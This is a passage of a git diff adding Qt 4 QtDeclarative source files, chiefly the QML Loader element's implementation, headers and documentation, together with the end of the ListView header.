+ Q_PROPERTY(bool highlightFollowsCurrentItem READ highlightFollowsCurrentItem WRITE setHighlightFollowsCurrentItem NOTIFY highlightFollowsCurrentItemChanged)
+ Q_PROPERTY(qreal highlightMoveSpeed READ highlightMoveSpeed WRITE setHighlightMoveSpeed NOTIFY highlightMoveSpeedChanged)
+ Q_PROPERTY(int highlightMoveDuration READ highlightMoveDuration WRITE setHighlightMoveDuration NOTIFY highlightMoveDurationChanged)
+ Q_PROPERTY(qreal highlightResizeSpeed READ highlightResizeSpeed WRITE setHighlightResizeSpeed NOTIFY highlightResizeSpeedChanged)
+ Q_PROPERTY(int highlightResizeDuration READ highlightResizeDuration WRITE setHighlightResizeDuration NOTIFY highlightResizeDurationChanged)
+
+ Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged RESET resetPreferredHighlightBegin)
+ Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged RESET resetPreferredHighlightEnd)
+ Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged)
+
+ Q_PROPERTY(qreal spacing READ spacing WRITE setSpacing NOTIFY spacingChanged)
+ Q_PROPERTY(Orientation orientation READ orientation WRITE setOrientation NOTIFY orientationChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
+ Q_PROPERTY(bool keyNavigationWraps READ isWrapEnabled WRITE setWrapEnabled NOTIFY keyNavigationWrapsChanged)
+ Q_PROPERTY(int cacheBuffer READ cacheBuffer WRITE setCacheBuffer NOTIFY cacheBufferChanged)
+ Q_PROPERTY(QDeclarativeViewSection *section READ sectionCriteria CONSTANT)
+ Q_PROPERTY(QString currentSection READ currentSection NOTIFY currentSectionChanged)
+
+ Q_PROPERTY(SnapMode snapMode READ snapMode WRITE setSnapMode NOTIFY snapModeChanged)
+
+ Q_PROPERTY(QDeclarativeComponent *header READ header WRITE setHeader NOTIFY headerChanged)
+ Q_PROPERTY(QDeclarativeComponent *footer READ footer WRITE setFooter NOTIFY footerChanged)
+
+ Q_ENUMS(HighlightRangeMode)
+ Q_ENUMS(Orientation)
+ Q_ENUMS(SnapMode)
+ Q_ENUMS(PositionMode)
+ Q_CLASSINFO("DefaultProperty", "data")
+
+public:
+ QDeclarativeListView(QDeclarativeItem *parent=0);
+ ~QDeclarativeListView();
+
+ QVariant model() const;
+ void setModel(const QVariant &);
+
+ QDeclarativeComponent *delegate() const;
+ void setDelegate(QDeclarativeComponent *);
+
+ int currentIndex() const;
+ void setCurrentIndex(int idx);
+
+ QDeclarativeItem *currentItem();
+ QDeclarativeItem *highlightItem();
+ int count() const;
+
+ QDeclarativeComponent *highlight() const;
+ void setHighlight(QDeclarativeComponent *highlight);
+
+ bool highlightFollowsCurrentItem() const;
+ void setHighlightFollowsCurrentItem(bool);
+
+ enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange };
+ HighlightRangeMode highlightRangeMode() const;
+ void setHighlightRangeMode(HighlightRangeMode mode);
+
+ qreal preferredHighlightBegin() const;
+ void setPreferredHighlightBegin(qreal);
+ void resetPreferredHighlightBegin();
+
+ qreal preferredHighlightEnd() const;
+ void setPreferredHighlightEnd(qreal);
+ void resetPreferredHighlightEnd();
+
+ qreal spacing() const;
+ void setSpacing(qreal spacing);
+
+ enum Orientation { Horizontal = Qt::Horizontal, Vertical = Qt::Vertical };
+ Orientation orientation() const;
+ void setOrientation(Orientation);
+
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection(Qt::LayoutDirection);
+ Qt::LayoutDirection effectiveLayoutDirection() const;
+
+ bool isWrapEnabled() const;
+ void setWrapEnabled(bool);
+
+ int cacheBuffer() const;
+ void setCacheBuffer(int);
+
+ QDeclarativeViewSection *sectionCriteria();
+ QString currentSection() const;
+
+ qreal highlightMoveSpeed() const;
+ void setHighlightMoveSpeed(qreal);
+
+ int highlightMoveDuration() const;
+ void setHighlightMoveDuration(int);
+
+ qreal highlightResizeSpeed() const;
+ void setHighlightResizeSpeed(qreal);
+
+ int highlightResizeDuration() const;
+ void setHighlightResizeDuration(int);
+
+ enum SnapMode { NoSnap, SnapToItem, SnapOneItem };
+ SnapMode snapMode() const;
+ void setSnapMode(SnapMode mode);
+
+ QDeclarativeComponent *footer() const;
+ void setFooter(QDeclarativeComponent *);
+
+ QDeclarativeComponent *header() const;
+ void setHeader(QDeclarativeComponent *);
+
+ virtual void setContentX(qreal pos);
+ virtual void setContentY(qreal pos);
+
+ static QDeclarativeListViewAttached *qmlAttachedProperties(QObject *);
+
+ enum PositionMode { Beginning, Center, End, Visible, Contain };
+
+ Q_INVOKABLE void positionViewAtIndex(int index, int mode);
+ Q_INVOKABLE int indexAt(qreal x, qreal y) const;
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning();
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd();
+
+public Q_SLOTS:
+ void incrementCurrentIndex();
+ void decrementCurrentIndex();
+
+Q_SIGNALS:
+ void countChanged();
+ void spacingChanged();
+ void orientationChanged();
+ Q_REVISION(1) void layoutDirectionChanged();
+ void currentIndexChanged();
+ void currentSectionChanged();
+ void highlightMoveSpeedChanged();
+ void highlightMoveDurationChanged();
+ void highlightResizeSpeedChanged();
+ void highlightResizeDurationChanged();
+ void highlightChanged();
+ void highlightItemChanged();
+ void modelChanged();
+ void delegateChanged();
+ void highlightFollowsCurrentItemChanged();
+ void preferredHighlightBeginChanged();
+ void preferredHighlightEndChanged();
+ void highlightRangeModeChanged();
+ void keyNavigationWrapsChanged();
+ void cacheBufferChanged();
+ void snapModeChanged();
+ void headerChanged();
+ void footerChanged();
+
+protected:
+ virtual bool event(QEvent *event);
+ virtual void viewportMoved();
+ virtual qreal minYExtent() const;
+ virtual qreal maxYExtent() const;
+ virtual qreal minXExtent() const;
+ virtual qreal maxXExtent() const;
+ virtual void keyPressEvent(QKeyEvent *);
+ virtual void geometryChanged(const QRectF &newGeometry,const QRectF &oldGeometry);
+ virtual void componentComplete();
+
+private Q_SLOTS:
+ void updateSections();
+ void refill();
+ void trackedPositionChanged();
+ void itemsInserted(int index, int count);
+ void itemsRemoved(int index, int count);
+ void itemsMoved(int from, int to, int count);
+ void itemsChanged(int index, int count);
+ void modelReset();
+ void destroyRemoved();
+ void createdItem(int index, QDeclarativeItem *item);
+ void destroyingItem(QDeclarativeItem *item);
+ void animStopped();
+};
+
+class QDeclarativeListViewAttached : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeListViewAttached(QObject *parent)
+ : QObject(parent), m_view(0), m_isCurrent(false), m_delayRemove(false) {}
+ ~QDeclarativeListViewAttached() {}
+
+ Q_PROPERTY(QDeclarativeListView *view READ view NOTIFY viewChanged)
+ QDeclarativeListView *view() { return m_view; }
+ void setView(QDeclarativeListView *view) {
+ if (view != m_view) {
+ m_view = view;
+ emit viewChanged();
+ }
+ }
+
+ Q_PROPERTY(bool isCurrentItem READ isCurrentItem NOTIFY currentItemChanged)
+ bool isCurrentItem() const { return m_isCurrent; }
+ void setIsCurrentItem(bool c) {
+ if (m_isCurrent != c) {
+ m_isCurrent = c;
+ emit currentItemChanged();
+ }
+ }
+
+ Q_PROPERTY(QString previousSection READ prevSection NOTIFY prevSectionChanged)
+ QString prevSection() const { return m_prevSection; }
+ void setPrevSection(const QString &sect) {
+ if (m_prevSection != sect) {
+ m_prevSection = sect;
+ emit prevSectionChanged();
+ }
+ }
+
+ Q_PROPERTY(QString nextSection READ nextSection NOTIFY nextSectionChanged)
+ QString nextSection() const { return m_nextSection; }
+ void setNextSection(const QString &sect) {
+ if (m_nextSection != sect) {
+ m_nextSection = sect;
+ emit nextSectionChanged();
+ }
+ }
+
+ Q_PROPERTY(QString section READ section NOTIFY sectionChanged)
+ QString section() const { return m_section; }
+ void setSection(const QString &sect) {
+ if (m_section != sect) {
+ m_section = sect;
+ emit sectionChanged();
+ }
+ }
+
+ Q_PROPERTY(bool delayRemove READ delayRemove WRITE setDelayRemove NOTIFY delayRemoveChanged)
+ bool delayRemove() const { return m_delayRemove; }
+ void setDelayRemove(bool delay) {
+ if (m_delayRemove != delay) {
+ m_delayRemove = delay;
+ emit delayRemoveChanged();
+ }
+ }
+
+ void emitAdd() { emit add(); }
+ void emitRemove() { emit remove(); }
+
+Q_SIGNALS:
+ void currentItemChanged();
+ void sectionChanged();
+ void prevSectionChanged();
+ void nextSectionChanged();
+ void delayRemoveChanged();
+ void add();
+ void remove();
+ void viewChanged();
+
+public:
+ QDeclarativeGuard<QDeclarativeListView> m_view;
+ mutable QString m_section;
+ QString m_prevSection;
+ QString m_nextSection;
+ bool m_isCurrent : 1;
+ bool m_delayRemove : 1;
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPEINFO(QDeclarativeListView, QML_HAS_ATTACHED_PROPERTIES)
+QML_DECLARE_TYPE(QDeclarativeListView)
+QML_DECLARE_TYPE(QDeclarativeViewSection)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
new file mode 100644
index 00000000..f55cc9b9
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
@@ -0,0 +1,597 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeloader_p_p.h"
+
+#include <qdeclarativeinfo.h>
+#include <qdeclarativeengine_p.h>
+#include <qdeclarativeglobal_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
+ : item(0), component(0), ownComponent(false), updatingSize(false),
+ itemWidthValid(false), itemHeightValid(false)
+{
+}
+
+QDeclarativeLoaderPrivate::~QDeclarativeLoaderPrivate()
+{
+}
+
+void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ if (resizeItem == item) {
+ if (!updatingSize && newGeometry.width() != oldGeometry.width())
+ itemWidthValid = true;
+ if (!updatingSize && newGeometry.height() != oldGeometry.height())
+ itemHeightValid = true;
+ _q_updateSize(false);
+ }
+ QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry);
+}
+
+void QDeclarativeLoaderPrivate::clear()
+{
+ if (ownComponent) {
+ component->deleteLater();
+ component = 0;
+ ownComponent = false;
+ }
+ source = QUrl();
+
+ if (item) {
+ if (QDeclarativeItem *qmlItem = qobject_cast<QDeclarativeItem*>(item)) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(qmlItem));
+ p->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ }
+
+ // We can't delete immediately because our item may have triggered
+ // the Loader to load a different item.
+ if (item->scene()) {
+ item->scene()->removeItem(item);
+ } else {
+ item->setParentItem(0);
+ item->setVisible(false);
+ }
+ item->deleteLater();
+ item = 0;
+ }
+}
+
+void QDeclarativeLoaderPrivate::initResize()
+{
+ Q_Q(QDeclarativeLoader);
+ if (QDeclarativeItem *qmlItem = qobject_cast<QDeclarativeItem*>(item)) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(qmlItem));
+ p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ // We may override the item's size, so we need to remember
+ // whether the item provided its own valid size.
+ itemWidthValid = p->widthValid;
+ itemHeightValid = p->heightValid;
+ } else if (item && item->isWidget()) {
+ QGraphicsWidget *widget = static_cast<QGraphicsWidget*>(item);
+ widget->installEventFilter(q);
+ }
+ _q_updateSize();
+}
+
+/*!
+ \qmlclass Loader QDeclarativeLoader
+ \ingroup qml-utility-elements
+ \since 4.7
+ \inherits Item
+
+ \brief The Loader item allows dynamically loading an Item-based
+ subtree from a URL or Component.
+
+ Loader is used to dynamically load visual QML components. It can load a
+ QML file (using the \l source property) or a \l Component object (using
+ the \l sourceComponent property). It is useful for delaying the creation
+ of a component until it is required: for example, when a component should
+ be created on demand, or when a component should not be created
+ unnecessarily for performance reasons.
+
+ Here is a Loader that loads "Page1.qml" as a component when the
+ \l MouseArea is clicked:
+
+ \snippet doc/src/snippets/declarative/loader/simple.qml 0
+
+ The loaded item can be accessed using the \l item property.
+
+ If the \l source or \l sourceComponent changes, any previously instantiated
+ items are destroyed. Setting \l source to an empty string or setting
+ \l sourceComponent to \c undefined destroys the currently loaded item,
+ freeing resources and leaving the Loader empty.
+
+ \section2 Loader sizing behavior
+
+ Loader is like any other visual item and must be positioned and sized
+ accordingly to become visible.
+
+ \list
+ \o If an explicit size is not specified for the Loader, the Loader
+ is automatically resized to the size of the loaded item once the
+ component is loaded.
+ \o If the size of the Loader is specified explicitly by setting
+ the width, height or by anchoring, the loaded item will be resized
+ to the size of the Loader.
+ \endlist
+
+ In both scenarios the size of the item and the Loader are identical.
+ This ensures that anchoring to the Loader is equivalent to anchoring
+ to the loaded item.
+
+ \table
+ \row
+ \o sizeloader.qml
+ \o sizeitem.qml
+ \row
+ \o \snippet doc/src/snippets/declarative/loader/sizeloader.qml 0
+ \o \snippet doc/src/snippets/declarative/loader/sizeitem.qml 0
+ \row
+ \o The red rectangle will be sized to the size of the root item.
+ \o The red rectangle will be 50x50, centered in the root item.
+ \endtable
+
+
+ \section2 Receiving signals from loaded items
+
+ Any signals emitted from the loaded item can be received using the
+ \l Connections element. For example, the following \c application.qml
+ loads \c MyItem.qml, and is able to receive the \c message signal from
+ the loaded item through a \l Connections object:
+
+ \table
+ \row
+ \o application.qml
+ \o MyItem.qml
+ \row
+ \o \snippet doc/src/snippets/declarative/loader/connections.qml 0
+ \o \snippet doc/src/snippets/declarative/loader/MyItem.qml 0
+ \endtable
+
+ Alternatively, since \c MyItem.qml is loaded within the scope of the
+ Loader, it could also directly call any function defined in the Loader or
+ its parent \l Item.
+
+
+ \section2 Focus and key events
+
+ Loader is a focus scope. Its \l {Item::}{focus} property must be set to
+ \c true for any of its children to get the \e {active focus}. (See
+ \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page}
+ for more details.) Any key events received in the loaded item should likely
+ also be \l {KeyEvent::}{accepted} so they are not propagated to the Loader.
+
+ For example, the following \c application.qml loads \c KeyReader.qml when
+ the \l MouseArea is clicked. Notice the \l {Item::}{focus} property is
+ set to \c true for the Loader as well as the \l Item in the dynamically
+ loaded object:
+
+ \table
+ \row
+ \o application.qml
+ \o KeyReader.qml
+ \row
+ \o \snippet doc/src/snippets/declarative/loader/focus.qml 0
+ \o \snippet doc/src/snippets/declarative/loader/KeyReader.qml 0
+ \endtable
+
+ Once \c KeyReader.qml is loaded, it accepts key events and sets
+ \c event.accepted to \c true so that the event is not propagated to the
+ parent \l Rectangle.
+
+ \sa {dynamic-object-creation}{Dynamic Object Creation}
+*/
+
+QDeclarativeLoader::QDeclarativeLoader(QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeLoaderPrivate), parent)
+{
+ Q_D(QDeclarativeLoader);
+ d->flags |= QGraphicsItem::ItemIsFocusScope;
+}
+
+QDeclarativeLoader::~QDeclarativeLoader()
+{
+ Q_D(QDeclarativeLoader);
+ if (d->item) {
+ if (QDeclarativeItem *qmlItem = qobject_cast<QDeclarativeItem*>(d->item)) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(qmlItem));
+ p->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+ }
+ }
+}
+
+/*!
+ \qmlproperty url Loader::source
+ This property holds the URL of the QML component to instantiate.
+
+ Note the QML component must be an \l{Item}-based component. The loader
+ cannot load non-visual components.
+
+ To unload the currently loaded item, set this property to an empty string,
+ or set \l sourceComponent to \c undefined. Setting \c source to a
+ new URL will also cause the item created by the previous URL to be unloaded.
+
+ \sa sourceComponent, status, progress
+*/
+QUrl QDeclarativeLoader::source() const
+{
+ Q_D(const QDeclarativeLoader);
+ return d->source;
+}
+
+void QDeclarativeLoader::setSource(const QUrl &url)
+{
+ Q_D(QDeclarativeLoader);
+ if (d->source == url)
+ return;
+
+ d->clear();
+
+ d->source = url;
+
+ if (d->source.isEmpty()) {
+ emit sourceChanged();
+ emit statusChanged();
+ emit progressChanged();
+ emit itemChanged();
+ return;
+ }
+
+ d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
+ d->ownComponent = true;
+
+ if (isComponentComplete())
+ d->load();
+}
+
+/*!
+ \qmlproperty Component Loader::sourceComponent
+ This property holds the \l{Component} to instantiate.
+
+ \qml
+ Item {
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader { sourceComponent: redSquare }
+ Loader { sourceComponent: redSquare; x: 10 }
+ }
+ \endqml
+
+ To unload the currently loaded item, set this property to an empty string
+ or \c undefined.
+
+ \sa source, progress
+*/
+
+QDeclarativeComponent *QDeclarativeLoader::sourceComponent() const
+{
+ Q_D(const QDeclarativeLoader);
+ return d->component;
+}
+
+void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
+{
+ Q_D(QDeclarativeLoader);
+ if (comp == d->component)
+ return;
+
+ d->clear();
+
+ d->component = comp;
+ d->ownComponent = false;
+
+ if (!d->component) {
+ emit sourceChanged();
+ emit statusChanged();
+ emit progressChanged();
+ emit itemChanged();
+ return;
+ }
+
+ if (isComponentComplete())
+ d->load();
+}
+
+void QDeclarativeLoader::resetSourceComponent()
+{
+ setSourceComponent(0);
+}
+
+void QDeclarativeLoaderPrivate::load()
+{
+ Q_Q(QDeclarativeLoader);
+
+ if (!q->isComponentComplete() || !component)
+ return;
+
+ if (!component->isLoading()) {
+ _q_sourceLoaded();
+ } else {
+ QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
+ q, SLOT(_q_sourceLoaded()));
+ QObject::connect(component, SIGNAL(progressChanged(qreal)),
+ q, SIGNAL(progressChanged()));
+ emit q->statusChanged();
+ emit q->progressChanged();
+ emit q->sourceChanged();
+ emit q->itemChanged();
+ }
+}
+
+void QDeclarativeLoaderPrivate::_q_sourceLoaded()
+{
+ Q_Q(QDeclarativeLoader);
+
+ if (component) {
+ if (!component->errors().isEmpty()) {
+ QDeclarativeEnginePrivate::warning(qmlEngine(q), component->errors());
+ emit q->sourceChanged();
+ emit q->statusChanged();
+ emit q->progressChanged();
+ return;
+ }
+
+ QDeclarativeContext *creationContext = component->creationContext();
+ if (!creationContext) creationContext = qmlContext(q);
+ QDeclarativeContext *ctxt = new QDeclarativeContext(creationContext);
+ ctxt->setContextObject(q);
+
+ QDeclarativeGuard<QDeclarativeComponent> c = component;
+ QObject *obj = component->beginCreate(ctxt);
+ if (component != c) {
+ // component->create could trigger a change in source that causes
+ // component to be set to something else. In that case we just
+ // need to cleanup.
+ if (c)
+ c->completeCreate();
+ delete obj;
+ delete ctxt;
+ return;
+ }
+ if (obj) {
+ item = qobject_cast<QGraphicsObject *>(obj);
+ if (item) {
+ QDeclarative_setParent_noEvent(ctxt, obj);
+ QDeclarative_setParent_noEvent(item, q);
+ item->setParentItem(q);
+// item->setFocus(true);
+ initResize();
+ } else {
+ qmlInfo(q) << QDeclarativeLoader::tr("Loader does not support loading non-visual elements.");
+ delete obj;
+ delete ctxt;
+ }
+ } else {
+ if (!component->errors().isEmpty())
+ QDeclarativeEnginePrivate::warning(qmlEngine(q), component->errors());
+ delete obj;
+ delete ctxt;
+ source = QUrl();
+ }
+ component->completeCreate();
+ emit q->sourceChanged();
+ emit q->statusChanged();
+ emit q->progressChanged();
+ emit q->itemChanged();
+ emit q->loaded();
+ }
+}
+
+/*!
+ \qmlproperty enumeration Loader::status
+
+ This property holds the status of QML loading. It can be one of:
+ \list
+ \o Loader.Null - no QML source has been set
+ \o Loader.Ready - the QML source has been loaded
+ \o Loader.Loading - the QML source is currently being loaded
+ \o Loader.Error - an error occurred while loading the QML source
+ \endlist
+
+ Use this status to provide an update or respond to the status change in some way.
+ For example, you could:
+
+ \list
+ \o Trigger a state change:
+ \qml
+ State { name: 'loaded'; when: loader.status == Loader.Ready }
+ \endqml
+
+ \o Implement an \c onStatusChanged signal handler:
+ \qml
+ Loader {
+ id: loader
+ onStatusChanged: if (loader.status == Loader.Ready) console.log('Loaded')
+ }
+ \endqml
+
+ \o Bind to the status value:
+ \qml
+ Text { text: loader.status == Loader.Ready ? 'Loaded' : 'Not loaded' }
+ \endqml
+ \endlist
+
+ Note that if the source is a local file, the status will initially be Ready (or Error). While
+ there will be no onStatusChanged signal in that case, the onLoaded will still be invoked.
+
+ \sa progress
+*/
+
+QDeclarativeLoader::Status QDeclarativeLoader::status() const
+{
+ Q_D(const QDeclarativeLoader);
+
+ if (d->component)
+ return static_cast<QDeclarativeLoader::Status>(d->component->status());
+
+ if (d->item)
+ return Ready;
+
+ return d->source.isEmpty() ? Null : Error;
+}
+
+void QDeclarativeLoader::componentComplete()
+{
+ Q_D(QDeclarativeLoader);
+
+ QDeclarativeItem::componentComplete();
+ d->load();
+}
+
+
+/*!
+ \qmlsignal Loader::onLoaded()
+
+ This handler is called when the \l status becomes \c Loader.Ready, or on successful
+ initial load.
+*/
+
+
+/*!
+\qmlproperty real Loader::progress
+
+This property holds the progress of loading QML data from the network, from
+0.0 (nothing loaded) to 1.0 (finished). Most QML files are quite small, so
+this value will rapidly change from 0 to 1.
+
+\sa status
+*/
+qreal QDeclarativeLoader::progress() const
+{
+ Q_D(const QDeclarativeLoader);
+
+ if (d->item)
+ return 1.0;
+
+ if (d->component)
+ return d->component->progress();
+
+ return 0.0;
+}
+
+void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
+{
+ Q_Q(QDeclarativeLoader);
+ if (!item || updatingSize)
+ return;
+
+ updatingSize = true;
+ if (QDeclarativeItem *qmlItem = qobject_cast<QDeclarativeItem*>(item)) {
+ if (!itemWidthValid)
+ q->setImplicitWidth(qmlItem->implicitWidth());
+ else
+ q->setImplicitWidth(qmlItem->width());
+ if (loaderGeometryChanged && q->widthValid())
+ qmlItem->setWidth(q->width());
+ if (!itemHeightValid)
+ q->setImplicitHeight(qmlItem->implicitHeight());
+ else
+ q->setImplicitHeight(qmlItem->height());
+ if (loaderGeometryChanged && q->heightValid())
+ qmlItem->setHeight(q->height());
+ } else if (item && item->isWidget()) {
+ QGraphicsWidget *widget = static_cast<QGraphicsWidget*>(item);
+ QSizeF widgetSize = widget->size();
+ q->setImplicitWidth(widgetSize.width());
+ if (loaderGeometryChanged && q->widthValid())
+ widgetSize.setWidth(q->width());
+ q->setImplicitHeight(widgetSize.height());
+ if (loaderGeometryChanged && q->heightValid())
+ widgetSize.setHeight(q->height());
+ if (widget->size() != widgetSize)
+ widget->resize(widgetSize);
+ }
+ updatingSize = false;
+}
+
+/*!
+ \qmlproperty Item Loader::item
+ This property holds the top-level item that is currently loaded.
+*/
+QGraphicsObject *QDeclarativeLoader::item() const
+{
+ Q_D(const QDeclarativeLoader);
+ return d->item;
+}
+
+void QDeclarativeLoader::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeLoader);
+ if (newGeometry != oldGeometry) {
+ d->_q_updateSize();
+ }
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+QVariant QDeclarativeLoader::itemChange(GraphicsItemChange change, const QVariant &value)
+{
+ Q_D(QDeclarativeLoader);
+ if (change == ItemSceneHasChanged) {
+ if (d->item && d->item->isWidget()) {
+ d->item->removeEventFilter(this);
+ d->item->installEventFilter(this);
+ }
+ }
+ return QDeclarativeItem::itemChange(change, value);
+}
+
+bool QDeclarativeLoader::eventFilter(QObject *watched, QEvent *e)
+{
+ Q_D(QDeclarativeLoader);
+ if (watched == d->item && e->type() == QEvent::GraphicsSceneResize) {
+ if (d->item && d->item->isWidget())
+ d->_q_updateSize(false);
+ }
+ return QDeclarativeItem::eventFilter(watched, e);
+}
+
+#include <moc_qdeclarativeloader_p.cpp>
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p.h
new file mode 100644
index 00000000..e9f4f57e
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p.h
@@ -0,0 +1,108 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELOADER_H
+#define QDECLARATIVELOADER_H
+
+#include "qdeclarativeimplicitsizeitem_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeLoaderPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeImplicitSizeItem
+{
+ Q_OBJECT
+ Q_ENUMS(Status)
+
+ Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
+ Q_PROPERTY(QDeclarativeComponent *sourceComponent READ sourceComponent WRITE setSourceComponent RESET resetSourceComponent NOTIFY sourceChanged)
+ Q_PROPERTY(QGraphicsObject *item READ item NOTIFY itemChanged)
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+ Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
+
+public:
+ QDeclarativeLoader(QDeclarativeItem *parent=0);
+ virtual ~QDeclarativeLoader();
+
+ QUrl source() const;
+ void setSource(const QUrl &);
+
+ QDeclarativeComponent *sourceComponent() const;
+ void setSourceComponent(QDeclarativeComponent *);
+ void resetSourceComponent();
+
+ enum Status { Null, Ready, Loading, Error };
+ Status status() const;
+ qreal progress() const;
+
+ QGraphicsObject *item() const;
+
+Q_SIGNALS:
+ void itemChanged();
+ void sourceChanged();
+ void statusChanged();
+ void progressChanged();
+ void loaded();
+
+protected:
+ void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry);
+ QVariant itemChange(GraphicsItemChange change, const QVariant &value);
+ bool eventFilter(QObject *watched, QEvent *e);
+ void componentComplete();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeLoader)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeLoader)
+ Q_PRIVATE_SLOT(d_func(), void _q_sourceLoaded())
+ Q_PRIVATE_SLOT(d_func(), void _q_updateSize())
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeLoader)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVELOADER_H
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
new file mode 100644
index 00000000..dee20e57
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
